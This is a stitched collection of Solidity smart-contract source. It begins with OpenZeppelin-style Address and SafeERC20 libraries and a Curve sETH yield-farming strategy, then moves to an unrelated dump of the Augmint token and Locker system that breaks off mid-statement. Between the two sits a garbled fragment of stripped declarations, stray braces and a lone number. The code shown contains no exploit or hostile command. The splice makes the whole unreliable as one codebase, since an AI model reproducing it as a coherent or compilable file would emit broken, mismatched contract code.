https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/common/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/farm/strategies/BaseStrategy.sol pragma solidity 0.6.12; interface IController { function vaults(address) external view returns (address); } /* A strategy must implement the following calls; - deposit() - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller - withdraw(uint) - Controller | Vault role - withdraw should always return to vault - withdrawAll() - Controller | Vault role - withdraw should always return to vault - harvest() - Controller | Vault role - harvest should always send to vault - balanceOf() Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller */ abstract contract BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ address public want; address public reward; address public governance; address public controller; address public strategist; uint public managementFee = 50; uint public performanceFee = 500; uint public constant max = 10000; /* ========== CONSTRUCTOR ========== */ constructor( address _controller, address _want, address _reward ) public { governance = msg.sender; strategist = msg.sender; controller = _controller; want = _want; reward = _reward; } /* ========== RESTRICTED FUNCTIONS ========== */ function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } function setManagementFee(uint _managementFee) external { require(msg.sender == governance, "!governance"); require(_managementFee < max, "over max"); managementFee = _managementFee; } function setPerformanceFee(uint _performanceFee) external { require(msg.sender == governance, "!governance"); require(_performanceFee < max, "over max"); performanceFee = _performanceFee; } function setStrategist(address _strategist) external { require(msg.sender == governance || msg.sender == strategist, "!gs"); strategist = _strategist; } /* ========== MUTATIVE FUNCTIONS ========== */ function deposit() external { _deposit(); } function harvest() external { _claimReward(); uint _balance = IERC20(reward).balanceOf(address(this)); require(_balance > 0, "!_balance"); uint256 _fee = _balance.mul(performanceFee).div(max); IERC20(reward).safeTransfer(strategist, _fee); address _vault = IController(controller).vaults(address(this)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(reward).safeTransfer(_vault, _balance.sub(_fee)); } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset) && reward != address(_asset), "cannot withdraw want or reward"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint _amount) external { require(msg.sender == controller, "!controller"); uint _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } uint256 _fee = _amount.mul(managementFee).div(max); IERC20(want).safeTransfer(strategist, _fee); address _vault = IController(controller).vaults(address(this)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount.sub(_fee)); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _vault = IController(controller).vaults(address(this)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } /* ========== INTERNAL FUNCTIONS ========== */ function _deposit() internal virtual; function _claimReward() internal virtual; function _withdrawSome(uint _amount) internal virtual returns (uint); function _withdrawAll() internal virtual; /* ========== VIEW FUNCTIONS ========== */ function getName() external pure virtual returns (string memory); function balanceOf() public view virtual returns (uint); } // File: contracts/farm/strategies/StrategyCurveSETH.sol pragma solidity 0.6.12; interface Gauge { function deposit(uint256 _amount) external; function withdraw(uint256 _amount) external; } interface Mintr { function mint(address _gauge) external; } contract StrategyCurveSETH is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ address constant public eCRV = address(0xA3D87FffcE63B53E0d54fAa1cc983B7eB0b74A9c); // want address constant public CRV = address(0xD533a949740bb3306d119CC777fa900bA034cd52); // reward address constant public gauge = address(0x3C0FFFF15EA30C35d7A85B85c0782D6c94e1d238); address constant public mintr = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0); /* ========== CONSTRUCTOR ========== */ constructor(address _controller) public BaseStrategy(_controller, eCRV, CRV) { } /* ========== VIEW FUNCTIONS ========== */ function getName() external pure virtual override returns (string memory) { return "StrategyCurveSETH"; } function balanceOf() public view virtual override returns (uint) { return balanceOfWant() .add(balanceOfWantInGauge()); } function balanceOfWant() public view returns (uint) { return IERC20(want).balanceOf(address(this)); } function balanceOfWantInGauge() public view returns (uint) { return IERC20(gauge).balanceOf(address(this)); } /* ========== INTERNAL FUNCTIONS ========== */ function _deposit() internal virtual override { uint _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(gauge, 0); IERC20(want).safeApprove(gauge, _want); Gauge(gauge).deposit(_want); } } function _claimReward() internal virtual override { Mintr(mintr).mint(gauge); } function _withdrawSome(uint _amount) internal virtual override returns (uint) { uint _before = IERC20(want).balanceOf(address(this)); Gauge(gauge).withdraw(_amount); uint _after = IERC20(want).balanceOf(address(this)); uint _withdrew = _after.sub(_before); return _withdrew; } function _withdrawAll() internal virtual override { _withdrawSome(balanceOfWantInGauge()); } }
========== STATE VARIABLES ========== / ========== CONSTRUCTOR ========== /
function _deposit() internal virtual; function _claimReward() internal virtual; function _withdrawSome(uint _amount) internal virtual returns (uint); function _withdrawAll() internal virtual; function getName() external pure virtual returns (string memory); function balanceOf() public view virtual returns (uint); } pragma solidity 0.6.12; } } { }
7,844,013
//Address: 0x095c0f071fd75875a6b5a1def3f3a993f591080c //Contract name: Locker //Balance: 0 Ether //Verification Date: 6/11/2018 //Transacion Count: 2 // CODE STARTS HERE pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b, "mul overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason uint256 c = a / b; // require(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "sub underflow"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "add overflow"); return c; } function roundedDiv(uint a, uint b) internal pure returns (uint256) { require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason uint256 z = a / b; if (a % b >= b / 2) { z++; // no need for safe add b/c it can happen only if we divided the input } return z; } } /* Generic contract to authorise calls to certain functions only from a given address. The address authorised must be a contract (multisig or not, depending on the permission), except for local test deployment works as: 1. contract deployer account deploys contracts 2. constructor grants "PermissionGranter" permission to deployer account 3. deployer account executes initial setup (no multiSig) 4. deployer account grants PermissionGranter permission for the MultiSig contract (e.g. StabilityBoardProxy or PreTokenProxy) 5. deployer account revokes its own PermissionGranter permission */ contract Restricted { // NB: using bytes32 rather than the string type because it's cheaper gas-wise: mapping (address => mapping (bytes32 => bool)) public permissions; event PermissionGranted(address indexed agent, bytes32 grantedPermission); event PermissionRevoked(address indexed agent, bytes32 revokedPermission); modifier restrict(bytes32 requiredPermission) { require(permissions[msg.sender][requiredPermission], "msg.sender must have permission"); _; } constructor(address permissionGranterContract) public { require(permissionGranterContract != address(0), "permissionGranterContract must be set"); permissions[permissionGranterContract]["PermissionGranter"] = true; emit PermissionGranted(permissionGranterContract, "PermissionGranter"); } function grantPermission(address agent, bytes32 requiredPermission) public { require(permissions[msg.sender]["PermissionGranter"], "msg.sender must have PermissionGranter permission"); permissions[agent][requiredPermission] = true; emit PermissionGranted(agent, requiredPermission); } function grantMultiplePermissions(address agent, bytes32[] requiredPermissions) public { require(permissions[msg.sender]["PermissionGranter"], "msg.sender must have PermissionGranter permission"); uint256 length = requiredPermissions.length; for (uint256 i = 0; i < length; i++) { grantPermission(agent, requiredPermissions[i]); } } function revokePermission(address agent, bytes32 requiredPermission) public { require(permissions[msg.sender]["PermissionGranter"], "msg.sender must have PermissionGranter permission"); permissions[agent][requiredPermission] = false; emit PermissionRevoked(agent, requiredPermission); } function revokeMultiplePermissions(address agent, bytes32[] requiredPermissions) public { uint256 length = requiredPermissions.length; for (uint256 i = 0; i < length; i++) { revokePermission(agent, requiredPermissions[i]); } } } /** * @title Eliptic curve signature operations * * @dev Based on https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ECRecovery.sol * * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 * */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(hash, v, r, s); } } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * @dev and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } interface ERC20Interface { event Approval(address indexed _owner, address indexed _spender, uint _value); event Transfer(address indexed from, address indexed to, uint amount); function transfer(address to, uint value) external returns (bool); // solhint-disable-line no-simple-event-func-name function transferFrom(address from, address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function balanceOf(address who) external view returns (uint); function allowance(address _owner, address _spender) external view returns (uint remaining); } interface TokenReceiver { function transferNotification(address from, uint256 amount, uint data) external; } contract AugmintTokenInterface is Restricted, ERC20Interface { using SafeMath for uint256; string public name; string public symbol; bytes32 public peggedSymbol; uint8 public decimals; uint public totalSupply; mapping(address => uint256) public balances; // Balances for each account mapping(address => mapping (address => uint256)) public allowed; // allowances added with approve() address public stabilityBoardProxy; TransferFeeInterface public feeAccount; mapping(bytes32 => bool) public delegatedTxHashesUsed; // record txHashes used by delegatedTransfer event TransferFeesChanged(uint transferFeePt, uint transferFeeMin, uint transferFeeMax); event Transfer(address indexed from, address indexed to, uint amount); event AugmintTransfer(address indexed from, address indexed to, uint amount, string narrative, uint fee); event TokenIssued(uint amount); event TokenBurned(uint amount); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function transfer(address to, uint value) external returns (bool); // solhint-disable-line no-simple-event-func-name function transferFrom(address from, address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function delegatedTransfer(address from, address to, uint amount, string narrative, uint maxExecutorFeeInToken, /* client provided max fee for executing the tx */ bytes32 nonce, /* random nonce generated by client */ /* ^^^^ end of signed data ^^^^ */ bytes signature, uint requestedExecutorFeeInToken /* the executor can decide to request lower fee */ ) external; function delegatedTransferAndNotify(address from, TokenReceiver target, uint amount, uint data, uint maxExecutorFeeInToken, /* client provided max fee for executing the tx */ bytes32 nonce, /* random nonce generated by client */ /* ^^^^ end of signed data ^^^^ */ bytes signature, uint requestedExecutorFeeInToken /* the executor can decide to request lower fee */ ) external; function increaseApproval(address spender, uint addedValue) external returns (bool); function decreaseApproval(address spender, uint subtractedValue) external returns (bool); function issueTo(address to, uint amount) external; // restrict it to "MonetarySupervisor" in impl.; function burn(uint amount) external; function transferAndNotify(TokenReceiver target, uint amount, uint data) external; function transferWithNarrative(address to, uint256 amount, string narrative) external; function transferFromWithNarrative(address from, address to, uint256 amount, string narrative) external; function allowance(address owner, address spender) external view returns (uint256 remaining); function balanceOf(address who) external view returns (uint); } interface TransferFeeInterface { function calculateTransferFee(address from, address to, uint amount) external view returns (uint256 fee); } contract AugmintToken is AugmintTokenInterface { event FeeAccountChanged(TransferFeeInterface newFeeAccount); constructor(address permissionGranterContract, string _name, string _symbol, bytes32 _peggedSymbol, uint8 _decimals, TransferFeeInterface _feeAccount) public Restricted(permissionGranterContract) { require(_feeAccount != address(0), "feeAccount must be set"); require(bytes(_name).length > 0, "name must be set"); require(bytes(_symbol).length > 0, "symbol must be set"); name = _name; symbol = _symbol; peggedSymbol = _peggedSymbol; decimals = _decimals; feeAccount = _feeAccount; } function transfer(address to, uint256 amount) external returns (bool) { _transfer(msg.sender, to, amount, ""); return true; } /* Transfers based on an offline signed transfer instruction. */ function delegatedTransfer(address from, address to, uint amount, string narrative, uint maxExecutorFeeInToken, /* client provided max fee for executing the tx */ bytes32 nonce, /* random nonce generated by client */ /* ^^^^ end of signed data ^^^^ */ bytes signature, uint requestedExecutorFeeInToken /* the executor can decide to request lower fee */ ) external { bytes32 txHash = keccak256(abi.encodePacked(this, from, to, amount, narrative, maxExecutorFeeInToken, nonce)); _checkHashAndTransferExecutorFee(txHash, signature, from, maxExecutorFeeInToken, requestedExecutorFeeInToken); _transfer(from, to, amount, narrative); } function approve(address _spender, uint256 amount) external returns (bool) { require(_spender != 0x0, "spender must be set"); allowed[msg.sender][_spender] = amount; emit Approval(msg.sender, _spender, amount); return true; } /** ERC20 transferFrom attack protection: https://github.com/DecentLabs/dcm-poc/issues/57 approve should be called when allowed[_spender] == 0. To increment allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) Based on MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) external returns (bool) { return _increaseApproval(msg.sender, _spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transferFrom(address from, address to, uint256 amount) external returns (bool) { _transferFrom(from, to, amount, ""); return true; } // Issue tokens. See MonetarySupervisor but as a rule of thumb issueTo is only allowed: // - on new loan (by trusted Lender contracts) // - when converting old tokens using MonetarySupervisor // - strictly to reserve by Stability Board (via MonetarySupervisor) function issueTo(address to, uint amount) external restrict("MonetarySupervisor") { balances[to] = balances[to].add(amount); totalSupply = totalSupply.add(amount); emit Transfer(0x0, to, amount); emit AugmintTransfer(0x0, to, amount, "", 0); } // Burn tokens. Anyone can burn from its own account. YOLO. // Used by to burn from Augmint reserve or by Lender contract after loan repayment function burn(uint amount) external { require(balances[msg.sender] >= amount, "balance must be >= amount"); balances[msg.sender] = balances[msg.sender].sub(amount); totalSupply = totalSupply.sub(amount); emit Transfer(msg.sender, 0x0, amount); emit AugmintTransfer(msg.sender, 0x0, amount, "", 0); } /* to upgrade feeAccount (eg. for fee calculation changes) */ function setFeeAccount(TransferFeeInterface newFeeAccount) external restrict("StabilityBoard") { feeAccount = newFeeAccount; emit FeeAccountChanged(newFeeAccount); } /* transferAndNotify can be used by contracts which require tokens to have only 1 tx (instead of approve + call) Eg. repay loan, lock funds, token sell order on exchange Reverts on failue: - transfer fails - if transferNotification fails (callee must revert on failure) - if targetContract is an account or targetContract doesn't have neither transferNotification or fallback fx TODO: make data param generic bytes (see receiver code attempt in Locker.transferNotification) */ function transferAndNotify(TokenReceiver target, uint amount, uint data) external { _transfer(msg.sender, target, amount, ""); target.transferNotification(msg.sender, amount, data); } /* transferAndNotify based on an instruction signed offline */ function delegatedTransferAndNotify(address from, TokenReceiver target, uint amount, uint data, uint maxExecutorFeeInToken, /* client provided max fee for executing the tx */ bytes32 nonce, /* random nonce generated by client */ /* ^^^^ end of signed data ^^^^ */ bytes signature, uint requestedExecutorFeeInToken /* the executor can decide to request lower fee */ ) external { bytes32 txHash = keccak256(abi.encodePacked(this, from, target, amount, data, maxExecutorFeeInToken, nonce)); _checkHashAndTransferExecutorFee(txHash, signature, from, maxExecutorFeeInToken, requestedExecutorFeeInToken); _transfer(from, target, amount, ""); target.transferNotification(from, amount, data); } function transferWithNarrative(address to, uint256 amount, string narrative) external { _transfer(msg.sender, to, amount, narrative); } function transferFromWithNarrative(address from, address to, uint256 amount, string narrative) external { _transferFrom(from, to, amount, narrative); } function balanceOf(address _owner) external view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) external view returns (uint256 remaining) { return allowed[_owner][_spender]; } function _checkHashAndTransferExecutorFee(bytes32 txHash, bytes signature, address signer, uint maxExecutorFeeInToken, uint requestedExecutorFeeInToken) private { require(requestedExecutorFeeInToken <= maxExecutorFeeInToken, "requestedExecutorFee must be <= maxExecutorFee"); require(!delegatedTxHashesUsed[txHash], "txHash already used"); delegatedTxHashesUsed[txHash] = true; address recovered = ECRecovery.recover(ECRecovery.toEthSignedMessageHash(txHash), signature); require(recovered == signer, "invalid signature"); _transfer(signer, msg.sender, requestedExecutorFeeInToken, "Delegated transfer fee", 0); } function _increaseApproval(address _approver, address _spender, uint _addedValue) private returns (bool) { allowed[_approver][_spender] = allowed[_approver][_spender].add(_addedValue); emit Approval(_approver, _spender, allowed[_approver][_spender]); } function _transferFrom(address from, address to, uint256 amount, string narrative) private { require(balances[from] >= amount, "balance must >= amount"); require(allowed[from][msg.sender] >= amount, "allowance must be >= amount"); // don't allow 0 transferFrom if no approval: require(allowed[from][msg.sender] > 0, "allowance must be >= 0 even with 0 amount"); /* NB: fee is deducted from owner. It can result that transferFrom of amount x to fail when x + fee is not availale on owner balance */ _transfer(from, to, amount, narrative); allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount); } function _transfer(address from, address to, uint transferAmount, string narrative) private { uint fee = feeAccount.calculateTransferFee(from, to, transferAmount); _transfer(from, to, transferAmount, narrative, fee); } function _transfer(address from, address to, uint transferAmount, string narrative, uint fee) private { require(to != 0x0, "to must be set"); uint amountWithFee = transferAmount.add(fee); // to emit proper reason instead of failing on from.sub() require(balances[from] >= amountWithFee, "balance must be >= amount + transfer fee"); if (fee > 0) { balances[feeAccount] = balances[feeAccount].add(fee); emit Transfer(from, feeAccount, fee); } balances[from] = balances[from].sub(amountWithFee); balances[to] = balances[to].add(transferAmount); emit Transfer(from, to, transferAmount); emit AugmintTransfer(from, to, transferAmount, narrative, fee); } } contract SystemAccount is Restricted { event WithdrawFromSystemAccount(address tokenAddress, address to, uint tokenAmount, uint weiAmount, string narrative); constructor(address permissionGranterContract) public Restricted(permissionGranterContract) {} // solhint-disable-line no-empty-blocks /* TODO: this is only for first pilots to avoid funds stuck in contract due to bugs. remove this function for higher volume pilots */ function withdraw(AugmintToken tokenAddress, address to, uint tokenAmount, uint weiAmount, string narrative) external restrict("StabilityBoard") { tokenAddress.transferWithNarrative(to, tokenAmount, narrative); if (weiAmount > 0) { to.transfer(weiAmount); } emit WithdrawFromSystemAccount(tokenAddress, to, tokenAmount, weiAmount, narrative); } } /* Contract to hold Augmint reserves (ETH & Token) - ETH as regular ETH balance of the contract - ERC20 token reserve (stored as regular Token balance under the contract address) NB: reserves are held under the contract address, therefore any transaction on the reserve is limited to the tx-s defined here (i.e. transfer is not allowed even by the contract owner or StabilityBoard or MonetarySupervisor) */ contract AugmintReserves is SystemAccount { function () public payable { // solhint-disable-line no-empty-blocks // to accept ETH sent into reserve (from defaulted loan's collateral ) } constructor(address permissionGranterContract) public SystemAccount(permissionGranterContract) {} // solhint-disable-line no-empty-blocks function burn(AugmintTokenInterface augmintToken, uint amount) external restrict("MonetarySupervisor") { augmintToken.burn(amount); } } /* Contract to hold earned interest from loans repaid premiums for locks are being accrued (i.e. transferred) to Locker */ contract InterestEarnedAccount is SystemAccount { constructor(address permissionGranterContract) public SystemAccount(permissionGranterContract) {} // solhint-disable-line no-empty-blocks function transferInterest(AugmintTokenInterface augmintToken, address locker, uint interestAmount) external restrict("MonetarySupervisor") { augmintToken.transfer(locker, interestAmount); } } /* MonetarySupervisor - maintains system wide KPIs (eg totalLockAmount, totalLoanAmount) - holds system wide parameters/limits - enforces system wide limits - burns and issues to AugmintReserves - Send funds from reserve to exchange when intervening (not implemented yet) - Converts older versions of AugmintTokens in 1:1 to new */ contract MonetarySupervisor is Restricted, TokenReceiver { // solhint-disable-line no-empty-blocks using SafeMath for uint256; uint public constant PERCENT_100 = 1000000; AugmintTokenInterface public augmintToken; InterestEarnedAccount public interestEarnedAccount; AugmintReserves public augmintReserves; uint public issuedByStabilityBoard; // token issued by Stability Board uint public totalLoanAmount; // total amount of all loans without interest, in token uint public totalLockedAmount; // total amount of all locks without premium, in token /********** Parameters to ensure totalLoanAmount or totalLockedAmount difference is within limits and system also works when total loan or lock amounts are low. for test calculations: https://docs.google.com/spreadsheets/d/1MeWYPYZRIm1n9lzpvbq8kLfQg1hhvk5oJY6NrR401S0 **********/ struct LtdParams { uint lockDifferenceLimit; /* only allow a new lock if Loan To Deposit ratio would stay above (1 - lockDifferenceLimit) with new lock. Stored as parts per million */ uint loanDifferenceLimit; /* only allow a new loan if Loan To Deposit ratio would stay above (1 + loanDifferenceLimit) with new loan. Stored as parts per million */ /* allowedDifferenceAmount param is to ensure the system is not "freezing" when totalLoanAmount or totalLockAmount is low. It allows a new loan or lock (up to an amount to reach this difference) even if LTD will go below / above lockDifferenceLimit / loanDifferenceLimit with the new lock/loan */ uint allowedDifferenceAmount; } LtdParams public ltdParams; /* Previously deployed AugmintTokens which are accepted for conversion (see transferNotification() ) NB: it's not iterable so old version addresses needs to be added for UI manually after each deploy */ mapping(address => bool) public acceptedLegacyAugmintTokens; event LtdParamsChanged(uint lockDifferenceLimit, uint loanDifferenceLimit, uint allowedDifferenceAmount); event AcceptedLegacyAugmintTokenChanged(address augmintTokenAddress, bool newAcceptedState); event LegacyTokenConverted(address oldTokenAddress, address account, uint amount); event KPIsAdjusted(uint totalLoanAmountAdjustment, uint totalLockedAmountAdjustment); event SystemContractsChanged(InterestEarnedAccount newInterestEarnedAccount, AugmintReserves newAugmintReserves); constructor(address permissionGranterContract, AugmintTokenInterface _augmintToken, AugmintReserves _augmintReserves, InterestEarnedAccount _interestEarnedAccount, uint lockDifferenceLimit, uint loanDifferenceLimit, uint allowedDifferenceAmount) public Restricted(permissionGranterContract) { augmintToken = _augmintToken; augmintReserves = _augmintReserves; interestEarnedAccount = _interestEarnedAccount; ltdParams = LtdParams(lockDifferenceLimit, loanDifferenceLimit, allowedDifferenceAmount); } function issueToReserve(uint amount) external restrict("StabilityBoard") { issuedByStabilityBoard = issuedByStabilityBoard.add(amount); augmintToken.issueTo(augmintReserves, amount); } function burnFromReserve(uint amount) external restrict("StabilityBoard") { issuedByStabilityBoard = issuedByStabilityBoard.sub(amount); augmintReserves.burn(augmintToken, amount); } /* Locker requesting interest when locking funds. Enforcing LTD to stay within range allowed by LTD params NB: it does not know about min loan amount, it's the loan contract's responsibility to enforce it */ function requestInterest(uint amountToLock, uint interestAmount) external { // only whitelisted Locker require(permissions[msg.sender]["Locker"], "msg.sender must have Locker permission"); require(amountToLock <= getMaxLockAmountAllowedByLtd(), "amountToLock must be <= maxLockAmountAllowedByLtd"); totalLockedAmount = totalLockedAmount.add(amountToLock); // next line would revert but require to emit reason: require(augmintToken.balanceOf(address(interestEarnedAccount)) >= interestAmount, "interestEarnedAccount balance must be >= interestAmount"); interestEarnedAccount.transferInterest(augmintToken, msg.sender, interestAmount); // transfer interest to Locker } // Locker notifying when releasing funds to update KPIs function releaseFundsNotification(uint lockedAmount) external { // only whitelisted Locker require(permissions[msg.sender]["Locker"], "msg.sender must have Locker permission"); totalLockedAmount = totalLockedAmount.sub(lockedAmount); } /* Issue loan if LTD stays within range allowed by LTD params NB: it does not know about min loan amount, it's the loan contract's responsibility to enforce it */ function issueLoan(address borrower, uint loanAmount) external { // only whitelisted LoanManager contracts require(permissions[msg.sender]["LoanManager"], "msg.sender must have LoanManager permission"); require(loanAmount <= getMaxLoanAmountAllowedByLtd(), "loanAmount must be <= maxLoanAmountAllowedByLtd"); totalLoanAmount = totalLoanAmount.add(loanAmount); augmintToken.issueTo(borrower, loanAmount); } function loanRepaymentNotification(uint loanAmount) external { // only whitelisted LoanManager contracts require(permissions[msg.sender]["LoanManager"], "msg.sender must have LoanManager permission"); totalLoanAmount = totalLoanAmount.sub(loanAmount); } // NB: this is called by Lender contract with the sum of all loans collected in batch function loanCollectionNotification(uint totalLoanAmountCollected) external { // only whitelisted LoanManager contracts require(permissions[msg.sender]["LoanManager"], "msg.sender must have LoanManager permission"); totalLoanAmount = totalLoanAmount.sub(totalLoanAmountCollected); } function setAcceptedLegacyAugmintToken(address legacyAugmintTokenAddress, bool newAcceptedState) external restrict("StabilityBoard") { acceptedLegacyAugmintTokens[legacyAugmintTokenAddress] = newAcceptedState; emit AcceptedLegacyAugmintTokenChanged(legacyAugmintTokenAddress, newAcceptedState); } function setLtdParams(uint lockDifferenceLimit, uint loanDifferenceLimit, uint allowedDifferenceAmount) external restrict("StabilityBoard") { ltdParams = LtdParams(lockDifferenceLimit, loanDifferenceLimit, allowedDifferenceAmount); emit LtdParamsChanged(lockDifferenceLimit, loanDifferenceLimit, allowedDifferenceAmount); } /* function to migrate old totalLoanAmount and totalLockedAmount from old monetarySupervisor contract when it's upgraded. Set new monetarySupervisor contract in all locker and loanManager contracts before executing this */ function adjustKPIs(uint totalLoanAmountAdjustment, uint totalLockedAmountAdjustment) external restrict("StabilityBoard") { totalLoanAmount = totalLoanAmount.add(totalLoanAmountAdjustment); totalLockedAmount = totalLockedAmount.add(totalLockedAmountAdjustment); emit 